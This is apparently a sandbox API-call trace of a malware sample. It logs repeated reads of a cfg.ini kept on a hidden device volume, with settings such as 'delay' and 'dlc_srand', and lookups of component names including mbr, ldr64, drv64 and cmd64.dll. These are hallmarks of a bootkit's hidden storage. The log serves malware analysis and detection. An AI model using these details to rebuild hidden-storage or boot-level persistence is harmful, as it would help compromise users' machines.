ReleaseMutex (hMutex=0x100) returned 1 [0121.493] Sleep (dwMilliseconds=0x2bf20) [0121.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b9ecdb0, dwHighDateTime=0x1d24fa4)) [0121.500] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.500] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.500] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.500] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.500] KeEnterCriticalRegion () [0121.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.500] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.501] IdePortDispatch () returned 0x103 [0121.501] KeWaitForMutexObject () returned 0x0 [0121.501] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.501] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.501] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.501] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.501] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.501] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5970 [0121.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.501] KeLeaveCriticalRegion () [0121.501] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.501] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.501] KeEnterCriticalRegion () [0121.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.501] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.501] KeLeaveCriticalRegion () [0121.501] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.501] KeEnterCriticalRegion () [0121.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.501] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.501] IdePortDispatch () returned 0x103 [0121.501] KeWaitForMutexObject () returned 0x0 [0121.501] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.501] KeLeaveCriticalRegion () [0121.501] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.502] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.502] KeEnterCriticalRegion () [0121.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.502] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b40000 [0121.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.502] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.502] IdePortDispatch () returned 0x103 [0121.502] KeWaitForMutexObject () returned 0x0 [0121.502] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.502] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.502] IdePortDispatch () returned 0x103 [0121.502] KeWaitForMutexObject () returned 0x0 [0121.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.502] KeLeaveCriticalRegion () [0121.502] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.503] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.503] KeEnterCriticalRegion () [0121.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.503] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.503] KeLeaveCriticalRegion () [0121.503] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.503] KeEnterCriticalRegion () [0121.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.503] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.503] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5a30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.503] KeLeaveCriticalRegion () [0121.503] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.503] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.503] KeEnterCriticalRegion () [0121.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.503] ExFreePoolWithTag (P=0xfffffa8003bc5970, Tag=0x0) [0121.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.503] KeLeaveCriticalRegion () [0121.503] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.503] ReleaseMutex (hMutex=0xf0) returned 1 [0121.503] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.503] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.503] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.503] KeEnterCriticalRegion () [0121.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.503] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.503] IdePortDispatch () returned 0x103 [0121.503] KeWaitForMutexObject () returned 0x0 [0121.504] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.504] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.504] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.504] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.504] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.504] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4380 [0121.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.504] KeLeaveCriticalRegion () [0121.504] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.504] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.504] KeEnterCriticalRegion () [0121.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.504] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.504] KeLeaveCriticalRegion () [0121.504] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.504] KeEnterCriticalRegion () [0121.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.504] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.504] IdePortDispatch () returned 0x103 [0121.504] KeWaitForMutexObject () returned 0x0 [0121.504] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.504] KeLeaveCriticalRegion () [0121.504] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.504] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.504] KeEnterCriticalRegion () [0121.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b41000 [0121.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.504] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.504] IdePortDispatch () returned 0x103 [0121.505] KeWaitForMutexObject () returned 0x0 [0121.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.505] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.505] IdePortDispatch () returned 0x103 [0121.505] KeWaitForMutexObject () returned 0x0 [0121.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.505] KeLeaveCriticalRegion () [0121.505] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.505] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.505] KeEnterCriticalRegion () [0121.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.505] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.505] KeLeaveCriticalRegion () [0121.506] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.506] KeEnterCriticalRegion () [0121.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.506] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.506] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.506] KeLeaveCriticalRegion () [0121.506] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.506] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.506] KeEnterCriticalRegion () [0121.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.506] ExFreePoolWithTag (P=0xfffffa8003bc4380, Tag=0x0) [0121.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.506] KeLeaveCriticalRegion () [0121.506] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.506] ReleaseMutex (hMutex=0xf0) returned 1 [0121.506] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.506] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.506] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.506] KeEnterCriticalRegion () [0121.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.506] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.506] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.506] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.506] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.506] IdePortDispatch () returned 0x103 [0121.506] KeWaitForMutexObject () returned 0x0 [0121.506] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.506] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.506] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.506] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.506] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.506] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5f60 [0121.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.506] KeLeaveCriticalRegion () [0121.506] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.506] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.507] KeEnterCriticalRegion () [0121.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.507] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.507] KeLeaveCriticalRegion () [0121.507] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.507] KeEnterCriticalRegion () [0121.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.507] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.507] IdePortDispatch () returned 0x103 [0121.507] KeWaitForMutexObject () returned 0x0 [0121.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.507] KeLeaveCriticalRegion () [0121.507] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.507] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.507] KeEnterCriticalRegion () [0121.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.507] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b42000 [0121.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.507] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.507] IdePortDispatch () returned 0x103 [0121.507] KeWaitForMutexObject () returned 0x0 [0121.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.508] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.508] IdePortDispatch () returned 0x103 [0121.508] KeWaitForMutexObject () returned 0x0 [0121.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.508] KeLeaveCriticalRegion () [0121.508] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.508] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.508] KeEnterCriticalRegion () [0121.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.508] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.508] KeLeaveCriticalRegion () [0121.508] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.508] KeEnterCriticalRegion () [0121.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.508] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.508] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.508] KeLeaveCriticalRegion () [0121.508] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.508] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.509] KeEnterCriticalRegion () [0121.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.509] ExFreePoolWithTag (P=0xfffffa8003bc5f60, Tag=0x0) [0121.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.509] KeLeaveCriticalRegion () [0121.509] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.509] ReleaseMutex (hMutex=0xf0) returned 1 [0121.509] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.509] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.509] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.509] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.509] KeEnterCriticalRegion () [0121.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.509] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.509] IdePortDispatch () returned 0x103 [0121.509] KeWaitForMutexObject () returned 0x0 [0121.509] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.509] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.509] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.509] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.509] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.509] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.509] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.509] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.509] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.509] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.509] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.509] 